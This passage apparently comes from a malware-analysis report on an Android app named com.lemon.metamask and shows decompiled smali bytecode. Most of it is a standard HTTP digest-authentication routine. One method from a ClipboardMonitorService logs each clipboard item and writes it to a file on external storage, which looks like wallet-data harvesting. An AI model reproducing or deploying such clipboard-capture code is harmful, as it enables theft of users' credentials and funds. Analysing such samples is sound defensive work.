        129invoke-virtual {v4, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        130move-result v13
        131move-object/from16 v16, v5
        132move-object/from16 v17, v6
        133const-wide/16 v5, 0x1
        134if-eqz v13, :cond_b2
        135iget-wide v12, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->nounceCount:J
        136add-long/2addr v12, v5
        137iput-wide v12, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->nounceCount:J
        138goto/16 :goto_b9
        139cond_b2: iput-wide v5, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->nounceCount:J
        140const/4 v5, 0x0
        141iput-object v5, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->cnonce:Ljava/lang/String;
        142iput-object v4, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->lastNonce:Ljava/lang/String;
        143goto_b9: new-instance v5, Ljava/lang/StringBuilder;
        144const/16 v6, 0x100
        146invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(I)V
        147new-instance v6, Ljava/util/Formatter;
        149sget-object v12, Ljava/util/Locale;->US:Ljava/util/Locale;
        151invoke-direct {v6, v5, v12}, Ljava/util/Formatter;-><init>(Ljava/lang/Appendable;Ljava/util/Locale;)V
        153const-string v12, "%08x"
        154move-object/from16 v18, v8
        155const/4 v13, 0x1
        156new-array v8, v13, [Ljava/lang/Object;
        157move-object/from16 v19, v14
        158iget-wide v13, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->nounceCount:J
        160invoke-static {v13, v14}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
        161move-result-object v13
        162const/4 v14, 0x0
        163aput-object v13, v8, v14
        165invoke-virtual {v6, v12, v8}, Ljava/util/Formatter;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/util/Formatter;
        167invoke-virtual {v6}, Ljava/util/Formatter;->close()V
        169invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        170move-result-object v6
        172iget-object v8, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->cnonce:Ljava/lang/String;
        173if-nez v8, :cond_ed
        175invoke-static {}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->createCnonce()Ljava/lang/String;
        176move-result-object v8
        177iput-object v8, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->cnonce:Ljava/lang/String;
        178cond_ed: const/4 v8, 0x0
        179iput-object v8, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a1:Ljava/lang/String;
        180iput-object v8, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a2:Ljava/lang/String;
        182const-string v12, "MD5-sess"
        184invoke-virtual {v7, v12}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        185move-result v12
        186const/16 v13, 0x3a
        187if-eqz v12, :cond_13d
        188const/4 v12, 0x0
        190invoke-virtual {v5, v12}, Ljava/lang/StringBuilder;->setLength(I)V
        192invoke-virtual {v5, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        194invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        196invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        198invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        200invoke-virtual {v5, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        202invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        203move-result-object v14
        205invoke-static {v14, v9}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getBytes(Ljava/lang/String;Ljava/lang/String;)[B
        206move-result-object v14
        207move-object/from16 v15, v19
        209invoke-virtual {v15, v14}, Ljava/security/MessageDigest;->digest([B)[B
        210move-result-object v14
        212invoke-static {v14}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->encode([B)Ljava/lang/String;
        213move-result-object v14
        215invoke-virtual {v5, v12}, Ljava/lang/StringBuilder;->setLength(I)V
        217invoke-virtual {v5, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        219invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        221invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        223invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        225iget-object v14, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->cnonce:Ljava/lang/String;
        227invoke-virtual {v5, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        229invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        230move-result-object v14
        231iput-object v14, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a1:Ljava/lang/String;
        232move-object v14, v15
        233goto/16 :goto_158
        234cond_13d: move-object/from16 v14, v19
        235const/4 v12, 0x0
        237invoke-virtual {v5, v12}, Ljava/lang/StringBuilder;->setLength(I)V
        239invoke-virtual {v5, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        241invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        243invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        245invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        247invoke-virtual {v5, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        249invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        250move-result-object v12
        251iput-object v12, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a1:Ljava/lang/String;
        252goto_158:
        253iget-object v12, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a1:Ljava/lang/String;
        255invoke-static {v12, v9}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getBytes(Ljava/lang/String;Ljava/lang/String;)[B
        256move-result-object v12
        258invoke-virtual {v14, v12}, Ljava/security/MessageDigest;->digest([B)[B
        259move-result-object v12
        261invoke-static {v12}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->encode([B)Ljava/lang/String;
        262move-result-object v12
        263const/4 v15, 0x2
        264if-ne v11, v15, :cond_181
        265new-instance v0, Ljava/lang/StringBuilder;
        267invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        268move-object/from16 v8, v17
        270invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        272invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        274invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        276invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        277move-result-object v0
        278iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a2:Ljava/lang/String;
        279goto/16 :goto_211
        280cond_181: move-object/from16 v8, v17
        281const/4 v15, 0x1
        282if-ne v11, v15, :cond_1fd
        283instance-of v15, v0, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        284if-eqz v15, :cond_191
        285check-cast v0, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        287invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        288move-result-object v0
        289goto/16 :goto_192
        290cond_191: const/4 v0, 0x0
        291goto_192: if-eqz v0, :cond_1c2
        293invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->isRepeatable()Z
        294move-result v15
        295if-nez v15, :cond_1c2
        297const-string v0, "auth"
        298move-object/from16 v11, v18
        300invoke-interface {v11, v0}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        301move-result v0
        302if-eqz v0, :cond_1ba
        303new-instance v0, Ljava/lang/StringBuilder;
        305invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        307invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        309invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        311invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        313invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        314move-result-object v0
        315iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a2:Ljava/lang/String;
        316const/4 v11, 0x2
        317goto/16 :goto_211
        318cond_1ba: new-instance v0, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        320const-string v2, "Qop auth-int cannot be used with a non-repeatable entity"
        322invoke-direct {v0, v2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        323throw v0
        324cond_1c2: new-instance v15, Lcz/msebera/android/httpclient/impl/auth/HttpEntityDigester;
        326invoke-direct {v15, v14}, Lcz/msebera/android/httpclient/impl/auth/HttpEntityDigester;-><init>(Ljava/security/MessageDigest;)V
        327if-eqz v0, :cond_1cf
        328try_start_1c9:
        329invoke-interface {v0, v15}, Lcz/msebera/android/httpclient/HttpEntity;->writeTo(Ljava/io/OutputStream;)V
        330goto/16 :goto_1cf
        331catch_1cd: move-exception v0
        332goto/16 :goto_1f5
        333cond_1cf:
        334invoke-virtual {v15}, Lcz/msebera/android/httpclient/impl/auth/HttpEntityDigester;->close()V
        335try_end_1d2: new-instance v0, Ljava/lang/StringBuilder;
        337invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        339invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        341invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        343invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        345invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        347invoke-virtual {v15}, Lcz/msebera/android/httpclient/impl/auth/HttpEntityDigester;->getDigest()[B
        348move-result-object v8
        350invoke-static {v8}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->encode([B)Ljava/lang/String;
        351move-result-object v8
        353invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        355invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        356move-result-object v0
        357iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a2:Ljava/lang/String;
        358goto/16 :goto_211
        359goto_1f5: new-instance v2, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        361const-string v3, "I/O error reading entity content"
        363invoke-direct {v2, v3, v0}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        364throw v2
        365cond_1fd: new-instance v0, Ljava/lang/StringBuilder;
        367invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        369invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        371invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        373invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        375invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        376move-result-object v0
        377iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a2:Ljava/lang/String;
        378goto_211:
        379iget-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->a2:Ljava/lang/String;
        381invoke-static {v0, v9}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getBytes(Ljava/lang/String;Ljava/lang/String;)[B
        382move-result-object v0
        384invoke-virtual {v14, v0}, Ljava/security/MessageDigest;->digest([B)[B
        385move-result-object v0
        387invoke-static {v0}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->encode([B)Ljava/lang/String;
        388move-result-object v0
        389if-nez v11, :cond_239
        390const/4 v8, 0x0
        392invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->setLength(I)V
        394invoke-virtual {v5, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        396invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        398invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        400invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        402invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        404invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        405move-result-object v0
        406goto/16 :goto_26c
        407cond_239: const/4 v8, 0x0
        409invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->setLength(I)V
        411invoke-virtual {v5, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        413invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        415invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        417invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        419invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        421invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        423iget-object v9, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->cnonce:Ljava/lang/String;
        425invoke-virtual {v5, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        427invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        428const/4 v9, 0x1
        429if-ne v11, v9, :cond_25d
        431const-string v9, "auth-int"
        432goto/16 :goto_25f
        433cond_25d:
        434const-string v9, "auth"
        435goto_25f:
        436invoke-virtual {v5, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        438invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        440invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        442invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        443move-result-object v0
        444goto_26c:
        445invoke-static {v0}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getAsciiBytes(Ljava/lang/String;)[B
        446move-result-object v0
        448invoke-virtual {v14, v0}, Ljava/security/MessageDigest;->digest([B)[B
        449move-result-object v0
        451invoke-static {v0}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->encode([B)Ljava/lang/String;
        452move-result-object v0
        453new-instance v5, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        454const/16 v9, 0x80
        456invoke-direct {v5, v9}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        458invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->isProxy()Z
        459move-result v9
        460if-eqz v9, :cond_28b
        462const-string v9, "Proxy-Authorization"
        464invoke-virtual {v5, v9}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        465goto/16 :goto_290
        466cond_28b:
        467const-string v9, "Authorization"
        469invoke-virtual {v5, v9}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        470goto_290:
        471const-string v9, ": Digest "
        473invoke-virtual {v5, v9}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        474new-instance v9, Ljava/util/ArrayList;
        475const/16 v12, 0x14
        477invoke-direct {v9, v12}, Ljava/util/ArrayList;-><init>(I)V
        478new-instance v12, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        480const-string v13, "username"
        482invoke-direct {v12, v13, v10}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        484invoke-interface {v9, v12}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        485new-instance v10, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        487const-string v12, "realm"
        489invoke-direct {v10, v12, v3}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        491invoke-interface {v9, v10}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        492new-instance v3, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        494const-string v10, "nonce"
        496invoke-direct {v3, v10, v4}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        498invoke-interface {v9, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        499new-instance v3, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        501const-string v4, "uri"
        503invoke-direct {v3, v4, v2}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        505invoke-interface {v9, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        506new-instance v2, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        508const-string v3, "response"
        510invoke-direct {v2, v3, v0}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        512invoke-interface {v9, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        513if-eqz v11, :cond_2f8
        514new-instance v0, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        516const-string v2, "qop"
        517const/4 v3, 0x1
        518if-ne v11, v3, :cond_2da
        520const-string v3, "auth-int"
        521goto/16 :goto_2dc
        522cond_2da:
        523const-string v3, "auth"
        524goto_2dc:
        525invoke-direct {v0, v2, v3}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        527invoke-interface {v9, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        528new-instance v0, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        530const-string v2, "nc"
        532invoke-direct {v0, v2, v6}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        534invoke-interface {v9, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        535new-instance v0, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        537const-string v2, "cnonce"
        539iget-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->cnonce:Ljava/lang/String;
        541invoke-direct {v0, v2, v3}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        543invoke-interface {v9, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        544cond_2f8: new-instance v0, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        546const-string v2, "algorithm"
        548invoke-direct {v0, v2, v7}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        550invoke-interface {v9, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        551if-eqz v16, :cond_310
        552new-instance v0, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        554const-string v2, "opaque"
        555move-object/from16 v3, v16
        557invoke-direct {v0, v2, v3}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        559invoke-interface {v9, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        560cond_310: const/4 v0, 0x0
        561goto_311:
        562invoke-interface {v9}, Ljava/util/List;->size()I
        563move-result v2
        564if-ge v0, v2, :cond_34e
        566invoke-interface {v9, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
        567move-result-object v2
        568check-cast v2, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        569if-lez v0, :cond_324
        571const-string v3, ", "
        573invoke-virtual {v5, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        574cond_324:
        575invoke-virtual {v2}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;->getName()Ljava/lang/String;
        576move-result-object v3
        578const-string v4, "nc"
        580invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        581move-result v4
        582if-nez v4, :cond_343
        584const-string v4, "qop"
        586invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        587move-result v4
        588if-nez v4, :cond_343
        590const-string v4, "algorithm"
        592invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        593move-result v3
        594if-eqz v3, :cond_341
        595goto/16 :goto_343
        596cond_341: const/4 v3, 0x0
        597goto/16 :goto_344
        598goto_343: const/4 v3, 0x1
        599goto_344:
        600sget-object v4, Lcz/msebera/android/httpclient/message/BasicHeaderValueFormatter;->INSTANCE:Lcz/msebera/android/httpclient/message/BasicHeaderValueFormatter;
        601const/4 v6, 0x1
        602xor-int/2addr v3, v6
        604invoke-virtual {v4, v5, v2, v3}, Lcz/msebera/android/httpclient/message/BasicHeaderValueFormatter;->formatNameValuePair(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/NameValuePair;Z)Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        605add-int/lit8 v0, v0, 0x1
        606goto/16 :goto_311
        607cond_34e: new-instance v0, Lcz/msebera/android/httpclient/message/BufferedHeader;
        609invoke-direct {v0, v5}, Lcz/msebera/android/httpclient/message/BufferedHeader;-><init>(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        610return-object v0
        611catch_354: new-instance v0, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        612new-instance v2, Ljava/lang/StringBuilder;
        614invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        616const-string v3, "Unsuppported digest algorithm: "
        618invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        620invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        622invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        623move-result-object v2
        625invoke-direct {v0, v2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        626throw v0
        627cond_36b: new-instance v0, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        628new-instance v2, Ljava/lang/StringBuilder;
        630invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        632const-string v3, "None of the qop methods is supported: "
        634invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        636invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        638invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        639move-result-object v2
        641invoke-direct {v0, v2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        642throw v0
        APIs
        • android.text.TextUtils.isEmpty
        • com.lemon.metamask.Util.ClipboardMonitorService.access$200
        • android.util.Log.i
        • java.lang.CharSequence.toString
        • android.util.Log.i
        • com.lemon.metamask.Util.ClipboardMonitorService.access$300
        • java.io.FileWriter.<init>
        • java.io.BufferedWriter.<init>
        • java.util.Date.toString
        • java.lang.String.format
        • java.io.BufferedWriter.write
        • java.lang.CharSequence.toString
        • java.io.BufferedWriter.write
        • java.io.BufferedWriter.newLine
        • java.io.BufferedWriter.close
        • com.lemon.metamask.Util.ClipboardMonitorService.access$300
        • java.io.File.getAbsoluteFile
        • java.lang.String.format
        • android.util.Log.w
        Strings
        • METAL
        • Writing new clip to history:
        • [%s]:
        • Failed to open file %s for writing!
        • External storage is not writable!
        Position Instruction Meta Information
        1iget-object v0, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->mTextToWrite:Ljava/lang/CharSequence;
        3invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
        4move-result v0
        5if-eqz v0, :cond_9
        6return-void
        7cond_9:
        8iget-object v0, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->this$0:Lcom/lemon/metamask/Util/ClipboardMonitorService;
        10invoke-static {v0}, Lcom/lemon/metamask/Util/ClipboardMonitorService;->access$200(Lcom/lemon/metamask/Util/ClipboardMonitorService;)Z
        11move-result v0
        12if-eqz v0, :cond_72
        13const/4 v0, 0x0
        14const/4 v1, 0x1
        15try_start_13:
        16const-string v2, "METAL"
        18const-string v3, "Writing new clip to history:"
        20invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        22const-string v2, "METAL"
        24iget-object v3, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->mTextToWrite:Ljava/lang/CharSequence;
        26invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
        27move-result-object v3
        29invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        30new-instance v2, Ljava/io/BufferedWriter;
        31new-instance v3, Ljava/io/FileWriter;
        33iget-object v4, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->this$0:Lcom/lemon/metamask/Util/ClipboardMonitorService;
        35invoke-static {v4}, Lcom/lemon/metamask/Util/ClipboardMonitorService;->access$300(Lcom/lemon/metamask/Util/ClipboardMonitorService;)Ljava/io/File;
        36move-result-object v4
        38invoke-direct {v3, v4, v1}, Ljava/io/FileWriter;-><init>(Ljava/io/File;Z)V
        40invoke-direct {v2, v3}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
        42const-string v3, "[%s]: "
        43new-array v4, v1, [Ljava/lang/Object;
        45iget-object v5, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->mNow:Ljava/util/Date;
        47invoke-virtual {v5}, Ljava/util/Date;->toString()Ljava/lang/String;
        48move-result-object v5
        49aput-object v5, v4, v0
        51invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        52move-result-object v3
        54invoke-virtual {v2, v3}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
        56iget-object v3, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->mTextToWrite:Ljava/lang/CharSequence;
        58invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
        59move-result-object v3
        61invoke-virtual {v2, v3}, Ljava/io/BufferedWriter;->write(Ljava/lang/String;)V
        63invoke-virtual {v2}, Ljava/io/BufferedWriter;->newLine()V
        65invoke-virtual {v2}, Ljava/io/BufferedWriter;->close()V
        66try_end_57: goto/16 :goto_79
        67catch_58:
        68const-string v2, "METAL"
        70const-string v3, "Failed to open file %s for writing!"
        71new-array v1, v1, [Ljava/lang/Object;
        73iget-object v4, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService$WriteHistoryRunnable;->this$0:Lcom/lemon/metamask/Util/ClipboardMonitorService;
        75invoke-static {v4}, Lcom/lemon/metamask/Util/ClipboardMonitorService;->access$300(Lcom/lemon/metamask/Util/ClipboardMonitorService;)Ljava/io/File;
        76move-result-object v4
        78invoke-virtual {v4}, Ljava/io/File;->getAbsoluteFile()Ljava/io/File;
        79move-result-object v4
        80aput-object v4, v1, v0
        82invoke-static {v3, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        83move-result-object v0
        85invoke-static {v2, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
        86goto/16 :goto_79
        87cond_72:
        88const-string v0, "METAL"
        90const-string v1, "External storage is not writable!"
        92invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
        93goto_79: return-void
        APIs
        • java.net.InetSocketAddress.<init>
        • java.net.Socket.bind
        • java.net.InetAddress.getAllByName
        • java.util.ArrayList.<init>
        • java.util.Arrays.asList
        • java.util.List.addAll
        • java.util.Collections.shuffle
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.net.InetSocketAddress.<init>
        • java.net.Socket.connect
        • java.net.Socket.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.conn.ConnectTimeoutException.<init>
        Strings
        • Target host
